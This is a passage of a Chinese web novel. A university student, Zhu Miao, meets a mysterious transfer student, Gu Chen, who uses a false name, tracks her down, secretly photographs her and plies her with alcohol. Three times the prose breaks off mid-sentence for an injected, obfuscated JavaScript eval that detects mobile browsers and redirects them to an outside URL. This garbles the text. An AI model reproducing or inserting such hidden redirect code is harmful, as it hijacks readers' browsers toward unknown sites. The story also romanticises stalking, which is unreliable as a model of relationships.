“大学还能转学啊？”刚进门的同学不明所以道。 “人家可是主动从Q大来的，比咱们学校还要高一个档次，王牌专业计算机系转到咱们学校的计算机，怎么看都是纡尊降贵来的呀。” “难道因为我们学校的计算机专业是老牌专业？” “Q大的计算机也算老牌吧，教学实力和资源还在我们学校之上，而且那可是Q大！要我可不舍得转！” “听说新同学不仅自己厉害，还是校长倾力推荐的，这说明什么？他一定很有背景！” “是说，要不然一般人就算能转学，也求学无门啊！” 你一言我一语，祝渺听他们猜测得天花乱坠，不由发出疑问：“所以，这么富有传奇色彩的人物......怎么会进我们社？” 同学们目光刷地看向刘宇，刘宇扶了扶眼睛，“别看我，我也不知道。” 他也觉得奇怪，可这是老师要求的，说是也正好可以补足他们计算机科技方向的专业储备。毕竟做新闻需要的是复合型人才。 “可能这位新同学就是想做科技相关的媒体新闻呢，所以来这能更好地实践，Q大的新闻系可没咱们抢手。” “好像也有道理。” “所以新同学到底什么时候到？” 正说着，会议室的门就被缓缓推开了。 男生的模样在门口露出的一瞬，会议室里的人全都静默了下来。 空气莫名沉寂了片刻。 因为这个男生长得简直比爱豆偶像还好看。 乌黑的头发，发型随性却不失精致，刘海偏长和碎但又并不杂乱，似乎随意没有精心捯饬却每一处都恰到好处，与他精致的眉眼相契合。 属于浓颜系的帅哥，却又有着很干净的气质，能一眼就让人惊艳。 不少女生的目光已经往他身上瞥，又活跃些的女生忍不住小声嘀咕道：“好帅啊......” 不过男生却没有怎么在意发生了什么。 在众人的目光注视下，他眼神平静地微微点头示意，走进会议室，拉开唯一的空位坐下，自带一种沉静的与世界隔离的气场。 在别人眼里是高冷，祝渺却莫名觉得他气质有些微妙。 “这位就是要加入我们的新同学，新同学先做个自我介绍吧？”刘宇提议。 男生抬起眼来，有些不动声色地环视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15424385|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一圈，除了在祝渺身上顿了一秒，没在任何一处停留。 他缓缓开口，“我叫……陆尘，陆地的陆，尘埃的尘。” 声音也如他的气场一般平静好听，如清澈流水，不带攻击性，因此不热络也不会让人觉得失礼。 介绍自己时，他的目光若有似无地掠过对面的人。 但他除了介绍名字，再没有说其他的。 陆尘……尘埃的尘啊。 祝渺想到，游戏里小可怜的名字也是尘这个字呢。 这么一说，祝渺看着他精致的外表，也和游戏里的人物建模一般帅气呢。 难道这就是传说中的建模脸？ “陆同学，听说你是转学来的？你为什么会想转到我们学校呀？” “兴趣。” 就，就两个字，没啦？ 同学们面面相觑一瞬，觉得有些冷。 尽管他看起来不好相处，可同学们的问题他都一一回答了，于是大家都大着胆子问出口。 他也不恼，只是在其他人无法察觉的地方，他沉静的眼神隐约闪烁。 祝渺除了觉得他气场微妙和外表帅气以外，倒没什么感兴趣想问的。 只是他就坐在自己对面，一不小心抬头就能和这位新来的男同学对上眼。 对上眼神的一瞬，他的眼神清澈，眼瞳比一般人都要乌黑深邃，如星空深海，看得祝渺有些不好意思。 于是祝渺下意识地躲开“陆尘”的眼神，只要眼神一对上，就立刻飘忽到别处。 因此她没有注意到，“陆尘”的眼神逐渐黯淡了下来。 “大家互相认识完，我们就分配下周的新闻采集和撰稿任务吧。” 下周就是学校校庆，会有非常多功成名就的校友返校参加活动，开讲座等，这是个采访知名校友的好时机。 采访对象总共6个人，他们部门每两个人一个组，对知名校友进行采访。 刘宇给大家发了一份人员名单，上面有校友名字，以及校友的毕业日期和班级。 他们开展工作，每个人的分工一向很清楚，这次祝渺分派到的任务是采访一个叫张铭的学长，才刚毕业一年多而已，搭档对象是和刘宇学长一起。 他们俩之前也一起做过任务，有时候祝渺会负责记录，有时候负责摄影。 两两分配完，“陆尘”作为新人，自然是落单了。 刘宇道：“陆尘是新人，可能不熟悉我们的工作内容，这次就先加入晓婷这组吧，采访对象从事金融领域，你们正好可以取长补短。” 刚说完，“陆尘”就开口：“部长，我希望我能跟你们一组。” 拒绝的话是对着刘宇说的，可他的目光却是落在祝渺身上。 学长顺着他的目光看了一眼祝渺，又转回视线，眉头几不可见地皱了皱，沉默几秒。 “好，那就这样吧。”他也没问原因，选择了同意。 工作交代完，会议结束，大家就纷纷聊着天散了，祝渺走出会议室，刘宇学长自然地跟在她身边和她说话。 祝渺回头看了一眼，透过半开的会议室门，能看到“陆尘”的身影，他并没有和大家一同离开，仍独自坐在座位上。 祝渺有些奇怪，喊了一声：“陆尘同学，你不走吗？” “陆尘”转过头看她一眼，轻轻“嗯”一声，唇角微勾：“你们先走。” 刘宇也回头道：“那你走的时候，记得关好会议室的门。” 陆尘听完也“嗯”了一声，可不知道是不是祝渺的错觉，他看向刘宇的眼神似乎变了变，不过只停留了一瞬便移开了。 18. 第 18 章 祝渺回到宿舍后，大概已经晚上八点了，室友们没有课，于是都待在宿舍里。 三个人凑在一块看手机，推测一下，大概是在看校内贴吧，听讨论内容，似乎是在讨论那个新来的男同学。 安月：“这个男生真的帅诶。” 鲍敏敏：“确实不错，怪不得来学校第一天就被拍。” 曹珂：“听说还很有背景，上天还真是不公平啊。” 她们沉迷看帖聊天，压根儿没发现祝渺回来了。 祝渺在她们身后默默出声：“你们说的人，该不会是陆尘吧。” 三个人集体回头：“对啊，咦，你平常都不看学校的八卦贴，怎么这回消息比我们还灵通？” 祝渺：“咳，当然是因为，我见到本人了。” “你见到陆尘了？人家才来学校第一天，你就认识了？” “呀，我们渺渺平时清心寡欲，原来也逃不开世俗的诱惑。” “哦～原来你喜欢这种类型的啊！” 祝渺无语翻白眼：“想多啦，他今天加入了我们新闻社。” 安月好奇地凑上来：“那他本人怎么样？高冷型？还是温柔型？” “好像……”祝渺仔细回想了一下，“没留意。” 安月痛心疾首：“这么一个大帅哥在你面前，你居然没留意？太不争气了！” “……就是因为帅，所以我才没好意思多看。” “你居然是这么矜持的人？” “对啊。” “那他的气质呢？气场呢？” 祝渺再次思索：“嗯......没怎么感受出来。” 安月一脸冷漠：“哦。” 八卦时间结束，祝渺准备了一下明天上课需要的书和物品，就准备看看剧消遣消遣。 打开手机，发现“陆尘”已经被拉进他们新闻社的群聊了。 大家在群里十分热情，“陆尘”却一直没发话，直到祝渺在群里冒了个泡。 渺渺：【欢迎新同学～】 片刻后，“陆尘”回复了。 尘：【谢谢】 尘：【这个U盘掉在会议室了】 附上一张照片。 祝渺放大图，仔细辨认了一下，居然是她的U盘。 于是赶紧道：【是我的是我的】 发完消息又觉得有些奇怪，她怎么会把U盘落在会议室？ 她记得，U盘应该在背包口袋里，怎么就掉出来了。她没拉好背包拉链吗？ 糟糕，忽然想起来，她的U盘里可是不仅有学习资料，还存了一堆以前下载的小说动漫……有些还一看名字就不怎么正经。== 不过，这位新同学看上去斯斯文文的，也不可能偷看她U盘里的东西。 可就算他不会看，祝渺也心虚得很，仿佛一些“把柄”落入他人手中。 一会儿，联系人那里多了条好友申请，对方ID为单字“尘”。 是“陆尘”。 祝渺赶紧通过好友申请，打了个招呼。 渺渺：【陆尘同学你好，谢谢你捡到我的U盘！你大概什么时候有时间，我来找你拿？】 尘：【明天见吧，我把U盘还你，顺便一起讨论这次任务细节。】 没想到新同学加入他们新闻社，还真是一心来实践的，刚开完会就心心念念工作任务了。 于是祝渺爽快答应了，约了明天上午下课后见。 手机屏幕那头，顾忱看着聊天界面，放下手中的U盘，倒了一杯冰水，冰凉的口感润过嗓子，才让他恢复了一丝内心的冷静。 他从来不是什么“陆尘”。 他向人隐瞒了自己的姓名，只是因为......他想到过去一些事。 或许她知道自己是顾忱，会想办法躲开他。 于是他取了母亲的陆姓，和在那个世界的名字。 可如今真的见到她了，才发现，自己完全是多虑了。 她怕是......根本不记得自己。 他并没有住校，而是在学校附近买下了一间公寓，偌大的客厅，装修得很精致，却冷冷清清，没什么生活气息。 顾忱点开祝渺的朋友圈，她没有设置可见期限，但她发朋友圈的频率并不高，所以也没多少内容，一下子就能翻到几年前。 只有一些重要时刻，祝渺会在朋友圈记录，比如生日，和父亲旅游，毕业…… 她偶尔会发自己的照片，没有精心修图，但照片上的女孩子青春洋溢，透露着一种天然去雕饰的美好。 原来这些年，她过着这样的生活。 不知不觉，顾忱拿手机的手更用力了些…… 大概两个月前，他出院那天，他坐在熟悉的心理诊疗室里。 “你最近精神状态感觉怎么样？” “很好。” “还有异样的感觉吗？” “没有。” “……恭喜你，你知道吗？经过测试，你已经基本与常人无异了。” 医生说完，又不确定地补充了一句：“至少此刻表面上是这样。” 顾忱面色如常，点了点头，就要起身离开，却再次被医生叫住。 “顾少爷，我想冒昧问一句，听说你接受了几个月的脑机治疗，并陷入了昏迷。昏迷过程中，你经历了什么？这些年来，我从没有见过你有如此大的变化……呃抱歉，我只是对脑机的作用很好奇。” 顾忱：“我……做了一个很长的梦。” 他垂下眼眸，藏住了眼底的暗潮汹涌。 是的，很长的梦，长到他已经分不清哪个才是现实。 离开诊疗室，他以痊愈后的新面貌回到顾家。 大概又过了些天，管家拿来了一份报告。 “少爷，我让人搜了所有内侧玩家的身份信息，您要的资料已经拿到了。” 顾忱拿起资料看了看。 【祝渺，现十八岁，出生于江州市，现定居于临北市，目前是江州大学新闻系大一学生。】 资料里还有一张照片，是祝渺高中毕业后拍的学生证照片。 顾忱瞳孔微缩，又松弛下来，似乎惊讶却又在意料之中。 果然是她…… 他不由得轻笑起来，笑里似乎带着难掩的激动的颤栗。 渺渺……你说，这就是命运吗？ 她总是忽然出现在他生命中，唤醒了他两次。 每次在他要抓住她的时候，忽然离开他。 这么多年，他终于又等到她了。 * 第二天，祝渺上完课，走出教学楼，就看见不远处一个身影。 站在隔了一条小路的树下，夏季的太阳有些晒，光线稀稀拉拉穿过枝叶，落在他发丝上。 祝渺原地专注地看了几秒，一群下课的学生涌上来往小路走，阻断了她的视线。 “陆尘”抬头看到她，穿过人潮，往她的方向走来。 走到她身边，轻轻道了一声：“走吧。” “去哪？不是要讨论采访吗？” “附近的咖啡厅。” 于是，他们在学校附近的一家环境优美但对学生来说价格偏贵的咖啡店坐下，店里人不多，比较安静。 “陆尘”点好了两杯咖啡，又拿出U盘来还给她。 祝渺赶紧收下U盘，收好“把柄”，道了声谢，这才想起他们下周的任务。 “昨晚刘宇学长和我说，他最近比较忙，这次采访他可能没有太多的时间和我们做前期策划，所以和对方约时间，对接采访内容这些就我们来定，和他确认就可以。” 祝渺开门见山和“陆尘”讲了这次工作的情况。 “陆尘”乖顺地点头，又忽然问：“你和他认识很久了？” 啊？谁？ 祝渺顺着语境想了想，“你是说，刘宇学长？” “嗯。”他轻应一声。 “我刚入学大半个学期，所以也没多久。” 他又应了一声，一会儿又道：“你们看起来关系很好。” “平时部门活动交流比较多，而且学长平时都很照顾大家。” 他听完便不说话了。 祝渺在沉默中喝了一口咖啡，偶尔抬眼看一眼“陆尘”。 心道，这个新同学真是有些古怪，好像很难聊的样子。 问她这种问题干什么……难道连这个新同学都认为她和学长有什么？ 不应该啊。 但他现在的态度，应当是有些在意她和学长的关系？ 她之前从来没见过陆尘，他不应该对她有意思，难道…… 他是对学长有意思？？ 哦，怪不得非要来这所学校，又非要来新闻社，因为学长是这里的社长啊！ 脑中闪过一瞬这个念头，一口咖啡差点没咽下去。 单单一组对话，祝渺思路越来越发散，脑海中已编写好剧本，并且觉得自己越发靠近真相了…… “渺渺？” 直到“陆尘”喊她，祝渺才回神。 一想到自己居 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431327|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然敢在人眼皮子底下编排别人，祝渺就对他有些不忍直视。 心虚地挪开眼神，应了他一声：“哦对了，昨天拿到的人员资料在我这里。” 她开始从包里翻找资料。 “陆尘”抿了抿唇，胸口仿佛一枚火焰在燃烧，又叫他生生熄灭。 现在她的眼里有了这么多人，却再也没有了自己的位置。 从昨天到现在，她连一眼都不愿意在他身上停留。 这样的感觉，真是让人一时一刻都难以忍受。 祝渺压根儿没注意到他们二人的“貌合神离”，拿出昨晚开会拿回来的资料，开始专心交流这次工作任务。 “首先我们还是得先调查一下这位学长的背景。”既然会被安排采访报道，那必然是一位厉害的学长。 虽说采访会在演讲之后，而演讲上学长一定会介绍自己，但她还是要做好准备，调查好被采访者的背景资料。 “艺术系毕业，就比我们大两届而已，现在职业......居然是演员？但我好像没听说过......”祝渺看着资料写的个人介绍，小小惊讶了一下。 没想到是让他们采访一位演艺圈学长。 既然是演员，百度一定能搜到个人信息，正想掏出手机检索，没想到，“陆尘”拿出了一份文件。 祝渺接过来翻看了一下，陆尘居然已经查好了这位张铭学长的个人资料。 忍不住夸赞一句：“陆尘同学，你的效率真高！” 看了一下个人资料，发现对方是一个不知名演员，虽然是校友，但其实也就刚毕业一年，是学校艺术生，从大学开始演戏，已经演了不少剧了，但是都是戏份不多的小配角，一直在十八线。 但......长得还是挺帅气的。 艺名......张铭生！ 祝渺才恍然，这个人就是原著男主啊啊！ 由于本名和艺名有所差别，祝渺完全没有把这两个人联系到一起。 不过男主现在还并不是很成熟。 原著里的男主在28那年拿下了影帝称号，和女主相遇。 期间遇到了从反派未婚夫家里逃跑的“祝渺”，帮了她一把。 结果“祝渺”喜欢上了这个男主。 然后反派就盯上了男主，并且开启了毁天灭地折腾“祝渺”的日子。 所以，她是不是应该避开男主？ 祝渺看着照片陷入了沉思。 纠结了一下，还是决定正常生活，不要被剧情影响。 一来她不会爱上男主，二来她也离开了反派，所以她和男主应该也不会发展成原著剧情。 评估了一下风险，一个简单采访而已，不在主线内，也不影响主线，风险应当是不大的。 于是她又冷静了下来。 …… 祝渺盯着照片上的人看了许久，没注意到面前的人也盯着自己看了许久，并且眼神逐渐晦暗。 顾忱也多看了几眼这个名单上的男人。 张铭......张铭生...... 他记住了这个名字，也记住了这张脸。 大约一个小时，他们两个人就讨论好了到时候采访任务的内容。 严格来说......基本是祝渺定制内容，顾忱在旁边协助辅助。 想来“陆尘”第一次做采访，应该不懂怎么做前期准备，但足够细心了。 这一天下来，祝渺觉得他也并不是个难相处的人，虽然莫名觉得他古怪了些，但他有应必回，做事也十分耐心专注。 有一些访问中需要注意的细节，她也都拿笔在文件上做笔记，写了下来，并且给“陆尘”一边展示一边讲解。 顾忱抬头，就能看见阳光从玻璃窗门斜斜洒进来，落在祝渺的侧脸上。 一缕头发从她耳侧滑落，遮住了他的视线。 他下意识抬手，把她的头发重新放回耳侧。 祝渺吓了一跳，挪开了距离，一脸茫然地看着他。 忽然被人碰到，她下意识地退了退，可抬头看见“陆尘”同学神色如常，又发现好像没什么事。 “对不起，强迫症。”他淡定道。 “喔......”祝渺松了一口气，有些不好意思自己反应太大了。 基本资料和访问大纲都准备得差不多了，祝渺也要回去了。 “陆同学，合作愉快呀。”走之前，祝渺浅笑盈盈地看他。 顾忱双目流转看着她，露出一丝若有似无的笑，“嗯，非常愉快。” 19. 第 19 章 校庆这日，学校热闹非凡，百年校庆，大大小小的校友回校造访。 祝渺他们几个需要采访张铭，因此需要看张铭的一场演讲，演讲结束后就会到后台进行采访。 可不知哪来的消息，众学生听闻校友中有一位学长做了演员，虽然现在还未大火，但帅气非凡。 因此演讲这天，会场聚集了众多学生慕名前来看这位学长。 祝渺和刘宇一同赶到会场时，不仅座无虚席，而且走廊上也处处是人。 祝渺对刘宇道：“陆同学说他先到了，还留了座位呢。” 刘宇点头：“那我们找一下他。” 祝渺一路借过，身后跟着刘宇，找到顾忱时，却发现他身边却只有一个空位。 顾忱道歉：“不好意思学长，人太多，我没法留太多座位。” 刘宇道：“没关系，就让渺渺坐吧，我在旁边站着。” 祝渺一听，她坐在二人之间，那不就是妥妥电灯泡？万一她那不靠谱的猜想真的成立的话…… “学长坐吧，我站着记录就行。” 她这么识趣的人，自然不能破坏了他人雅兴。成人之美嘛，她做得来。 见她不仅不坐还要走远，顾忱一下子抓住她的胳膊，往下一用力，她便落座了。 “坐吧。”温和的语气，却有种不可违背的肯定。 ......行吧。 祝渺皱了皱眉，但还是顺着他意坐下。 还好这尴尬的场面没有持续多久，祝渺就被台上的男主角吸引住了，大概是有些主角光环的作用。 不愧是本文男主，虽然现在还没火，只是个出现了一些配角的小演员，但可以在这场演讲中看出本人谈吐修养都很不错。 男主本人外表在青年演员中偏稚嫩，但在校园里绝对不止校草级别。 外表帅气性格开朗，也没有偶像包袱会幽默自嘲，目前看来，是个人设十分......正常，的主角，尤其比起反派。 顾忱注意到她特别的态度，眼神中流露出的认可，指关节微微发白，用力使得骨骼棱角更分明。 一直到演讲结束，祝渺才在后台见到张铭生。 这次采访进行得非常顺利，基本都是由她来主导，顾忱则非常自觉地担当起了助理，负责拍摄、记录等等。 直到采访结束，祝渺与男主告别，才松了一口气，今日份任务完成得很圆满，这位男主一点也不难采访，只要对回答的内容修饰修饰就可以写成文章。 祝渺笑容灿烂心情愉悦。 ——顾忱却不怎么好。 祝渺关心道：“陆同学，第一次出采访，是不是有点紧张？”毕竟一句话都没说，全程保持了沉默。 “没有，我在拍照。”他面无表情。 祝渺觉得大概是自己想多了，人家的习惯就是这么高冷。 “好吧。那你回去就把照片发我挑一挑吧。” “嗯。” 回到宿舍后，祝渺就收到了照片的传送。 文件很大，看来还拍了不少照片呢。 祝渺点开文件夹，翻看了一圈，才发现有些不对劲。 怎么......这么多她的照片？拍摄对象搞错了吧？ 不过陆同学到底是第一次出采访，有些失误也可以理解。 总体来说照片还是拍得挺完整，挺不错的，有可取之处。 于是，她善意地提醒陆同学：“拍摄重点是被采访对象，可以不用拍这么多我的照片，下次注意哈。” “嗯。”他依旧淡定且冷漠地回复。 祝渺：……行吧。 而手机另一头的人，将已经调出相机的照片，存进了电脑中一个隐藏文件里。 打开其中一张照片，看了许久。 * 忙完这个周期，他们新闻部很快就迎来了一阵清闲的日子。 于是学长提到：“由于之前太忙，我们一直没有组织部门团建，现在终于有机会了。” 众人一听团建，立刻兴奋。 你一言我一语地提出要去野营旅游、上山下水，但考虑到安全性，刘宇还是最终选择了在学校附近的一家轰趴馆开一晚派对。 派对就安排在这周六，还剩几天时间。 祝渺也挺期待的，她已经很久没有过和这么多朋友一起派对了，上一次参与这种活动，还是上辈子呢。 为了这场派对，刘宇还策划了一些小活动，说是要有人提前到达场地，布置一下现场，于是就找上了祝渺。 祝渺欣然接受了。 周六这天，她正准备收拾收拾，早早出门，提前先到场地，室友安月和鲍敏敏却凑了上来。 两人看着她，一脸痛心疾首。 “你就穿这样去玩呀？” 祝渺一头问号：“有什么问题？” 安月一脸语重心长：“社交场合，要注意自己的形象。” 祝渺：“……你没事吧？” “你看你，如此普通的体恤牛仔裤，头也不洗妆也不化，长得好看也不能这么随便啊。” 祝渺：“虽然但是，我洗头了。” 安月对祝渺的反应视若无睹，将祝渺挂起的长裙拿下来，递给她。 “这裙子好看，就穿它吧。” “相信我们，准没错。” 二人你一样我一语，祝渺莫名其妙地换上了长裙，拿起了包，在室友肯定的目光中走出门。 这俩人，肯定有问题。 祝渺心想。 送走祝渺的二人松了一口气，相视一眼。 安月：“没露馅吧？” 鲍敏敏：“我觉得......挺明显的。” 安月皱眉：“算了不重要，重要的是......你那消息是真的吗？” 鲍敏敏给她一个肯定的眼神：“绝对不会有错，我的八卦渠道一向靠谱。人家原话说的就是，‘新闻社学长在精心筹划活动准备和校花学妹告白’，这不就是在说咱们渺渺吗？” “那我们不告诉渺渺，这样真的好吗？万一渺渺不喜欢人家呢。” “那万一人家喜欢呢，不就破坏学长的惊喜了。再说，又万一，其实根本没有这回事，岂不是会让渺渺自作多情？” “你刚不是还说自己的八卦渠道很靠谱？” “靠谱归靠谱，但......万一嘛！” 安月无言以对。 * 轰趴馆是一个双层公寓，客厅很宽敞，桌面中台很大，装修是暖色调温馨风。 一楼基本玩乐设施都配备齐全了，桌游、游戏机、KTV、影院，二楼都是睡觉的房间。 对他们这一个小小部门来说十分够用。 整个公寓已经基本布置完成。 刘宇把“happybirthday”的最后一个字母挂好，就算大功告成。 这是他精心为祝渺布置的生日会。 其实他是在团建定下之后，才听说了这天也是祝渺的生日。 可祝渺没有拒绝他们的团建邀请，想必她也没有其他生日计划。 于是，他找了个理由让祝渺一个人来现场，其他同学则和他一同来准备惊喜。 同学一看着桌上精致的生日蛋糕，不禁调侃道：“部长，你这么精心准备渺渺的惊喜，我们都酸了！” 同学二附和：“就是就是，这准备，多少夹带了些私人感情吧？是吧？” 刘宇干笑两声：“怎么？我没给你们送生日礼物？” “有是有……但这排场，当然是没法比啦。” “部长，要我说，你干脆......直接生日会上告白吧！” 众人眼睛一亮：“是啊，这多好的机会！” 刘宇一噎，有些不好意思：“你们......怎么都看出来了......” “这么明显，我们又不是瞎子！” “部长放心飞，我们永相随，放心，我们会一直支持你的！” “渺渺这么漂亮，部长如此才学，那不就是郎才女貌嘛！” “......” 大家你一言我一语，说得刘宇更不好意思，为了不让这群八卦的人说得更夸张，赶忙打断他们。 只有正在角落整理饮料的顾忱，一句话也没说。 听着众人的调侃，和刘宇的坦诚，眼底的光越发阴暗，转头看了一眼刘宇，正好对上他的眼神。 刘宇直视顾忱的眼睛，心中却是被吓了一跳。 下一秒，顾忱就移开了目光，若无其事地继续整理东西。 刚刚的眼神……是他的错觉吧？ 他抿了抿唇，压下心中的怪异与危机感，拿出手机，给祝渺发消息。 【渺渺，我已经先到了，布置的材料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15434715|169057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我已经都带好了，地址发你，你来找我就好。】 祝渺刚出宿舍楼，看到消息立刻回复:【好的。】 打了一辆车，就往他们团建地点去了。 祝渺找到公寓楼楼下，又给刘宇发信息，表示自己已经到楼下了。 刘宇一收到消息，便告知所有人，把灯关了，安静躲起来假装没有人。 然后回复祝渺公寓的密码，让祝渺自己开门进来。 屋内一片寂静，有人发出一点声响，就听到刘宇“嘘”了一声，让人安静。 只有顾忱依然在同一个角落的沙发上坐着，在这群人身后，并不引人注意，所以并没有人看见他寒冰一般的神色。 一听到密码锁开门声，他们蓄势待发，在祝渺开门脚步迈进大门的一瞬，生日歌齐刷刷地响起，刘宇端着蛋糕走了出来。 歌声结束，灯刷地亮起，一群同学砰地炸开了礼炮，随之喊了一声:“渺渺生日快乐！” 祝渺一整个愣在原地。 这......这是搞的哪出？ 她看着这阵仗，反应过来，“今天已经是我生日了？” 刘宇见她反应慢半拍的样子，奇怪道:“你不会连自己生日都记不住吧？” 难不成还是他搞错了？ 今天确实是祝渺生日，但别人不知道的是，祝渺出生时母亲就难产过世了，所以她和父亲从来不过生日。 每到她生日这天，祝召年就会一个人默默去墓地，或者他和祝渺母亲当初相识的地方，独自纪念——偶尔才会带上祝渺。 没有办法像正常孩子一样给她过生日，祝召年已经觉得很抱歉了，因此不会在这天特意让她记起，她母亲的死是因为她。 因此祝渺都不太记得自己的生日，也没有过生日的习惯。 何况这个生日其实是原来的祝渺的，并不是她自己原本的生日。 但面对一群朋友的祝福，祝渺还是很感动。 顺势回答：“今天确实是我生日，谢谢大家！” 她上辈子也过生日，虽然说现在无所谓了，可她也依然觉得任何一个人的生日，对这个人都是很重要的，她不否定生日对一个人的意义。 刘宇这才松了口气，重新把蛋糕捧到她面前。 但他说话有些紧张：“先……先许个愿吧！” “好哇。” 祝渺闭眼，蛋糕上的烛光照亮了她的脸颊，暖洋洋火光散发余热，显得她的面部更加柔美精致。 不禁让人更赞叹她的漂亮。 边上的同学拿胳膊撞了撞刘宇，给他眼神暗示。 刘宇舔舔唇，开口：“渺渺，我……” 他还没说完，祝渺就已经许完愿，睁开眼，一口气吹灭了蜡烛。 开了灯，光亮重新充满屋子，她才看着刘宇问：“什么？” 刘宇说不出话来了：“没……没什么。大家切蛋糕吧！” 众人这才开始切蛋糕分蛋糕，热闹得很。 祝渺自己领了一块，尝了几口，嗯，真好吃！ 这时，她回头看到角落里某个人的身影。 想了想，又拿起了一块，走到顾忱身边，把蛋糕递给他。 其实从刚才起，祝渺就注意到，他一直默默站在其他人后边，并不热情。 凭借这些天和他的相处，祝渺觉得......他其实也可能不是高冷，而是社恐。 她可以理解社恐，并且默默同情了这位社恐人士一番。 这么热闹的聚会，恐怕很不自在吧。 于是她将蛋糕拿到顾忱面前，开口：“怎么不来尝一块？” 顾忱抬头看她，短暂注视后，终于开口：“生日快乐。” 不知为什么，祝渺觉得这句祝福从他嘴里说出来，显得特别有分量。 于是她也郑重其事地答：“谢谢。” “渺渺，过来拍张照吧！”有人喊。 祝渺回头应声：“来了来了。” 此刻顾忱刚要伸手接她手中的蛋糕，祝渺却未注意他的动作，只将蛋糕放到他面前的桌子上，就转身走了。 顾忱伸到空中的手忽然顿住，他的表情也瞬间凝固。 看着祝渺与他们一同拍照的模样，他不由自主眯了眼，藏住眼中的晦暗。 他不想让眼中的嫉妒太过显眼。 但他……怕是掩饰不住了。 20. 第 20 章 夜色渐暗，窗外开始下雨。 噼里啪啦的雨声落在窗玻璃上发出声声脆响。 屋里倒是热闹，没有人在意这雨声。 可今天这日子，对祝渺来说，还是有些五味杂陈的，她刚看到祝召年朋友圈里的纪念语录——他每年都要伤感一下。 她也有些伤感了，虽然没见过她的母亲，但生活了这么多年，她是真切地把父母当父母的。 她陪着大家高兴完，就一边拿着蛋糕，一边坐到了窗边默默吃。 不远处坐着顾忱。 他看向她，正好祝渺也看过来，看向他桌上的蛋糕。 他没动啊…… “你不爱吃蛋糕吗？”祝渺问。 “没什么胃口。”他淡淡道。 “好吧……”已经逐渐习惯了他的冷漠。 祝渺一时无言，他也就不作声，只是眼神似有似无地飘在她身上。 看着窗外刷刷落下的雨，祝渺觉得心中莫名有一丝凉意，好像有些不太妙的预感。 或许是错觉吧…… 吃了蛋糕，晚餐吃了炸鸡披萨，生日派对就算结束了。 为了把团队里的人集中在一块玩，刘宇就选择了桌游作为主要活动。 祝渺其实有些累了，没什么斗志玩，不过难得团建，大家还为她准备这么多惊喜，她也不想扫兴。 于是她爽快答应了。 这里有个专门的桌游房，架子上准备了很多游戏，他们挑了一个卡牌类游戏，规则不复杂，主要看运气。 玩游戏，那自然要设置一些奖惩才有趣。 大家都是些刚成年没多久的大学生，都想“解放天性”得很，尤其两个男同学，直接往桌上拎了一整箱啤酒。 啤酒嘛，度数不高，也没人反对。 很快所有人就都落座了，祝渺在靠门的角落坐下，刘宇学长坐在房间靠里。 唯独顾忱还没参与。 有同学直接喊他，本以为他如此孤僻，根本不会参与，所以只是意思意思喊一喊。 没想到，顾忱却走进来，径直过来坐在了祝渺身边的位置上。 正好面对着刘宇。 他抬头看了一眼对方，又低眉顺眼，若无其事地开始和大家一块抽桌上的卡牌。 游戏开始前，刘宇就说了一次规则。 祝渺心想，虽说她不算擅长桌游，可是她手机游戏玩得多啊，想必也难不倒她。 然而，今天实在运气不好，一个晚上玩下来，她简直连环输。 祝渺默默感叹，这个游戏，实在太不适合非酋了。-- 这么玩了一圈下来，就她被罚了不少酒。 “渺渺可是今天的寿星，怎么运气这么差？” “咱们也太不厚道了，怎么能让寿星一直输呢？” 祝渺咋舌控诉，“你们的语气这么得意，多少有点幸灾乐祸的意思啊。” 说着拿起一杯酒，就要下肚，刘宇也拿了酒，道：“寿星为大，作为部长，怎么也得我替她喝了吧。” 身边同学纷纷发出“嗷”的一声，一副看八卦的样子，一点不觉得不意外。 那个捧酒进来的男生忍不住起哄：“挡酒这事儿就咱们这点小酒量可不行，还是让会长来，会长这酒量可没话说。” 祝渺有些不好意思，连连拒绝：“没事没事，我可以自己来。” 祝渺倒不是不胜酒力，只是不觉得酒香，尤其啤酒，喝进嘴里是一股苦味，呛人又难喝。 似乎是看出了她的为难和窘迫，顾忱从桌子下面偷偷递给她一个新的酒杯，里面装的酒看起来没有什么区别。 他刚刚出去了一趟，看来是去拿酒了。 “这是果酒，味道像果汁，不难喝。”他在祝渺耳边轻声道。 祝渺偷偷拿过来，趁别人不注意，尝了尝，味道确实不错，像果汁，一点不似酒，甚至有点好喝，让人上头，想多来点。 “这酒好喝诶。” “好喝就多喝点。” 祝渺又喝一口，心想，这大概是果酒吧，想来酒精度数不高，当饮料多喝几口也没事。 于是接下来又是一通连环输，又多喝了好几杯顾忱偷递的果酒。 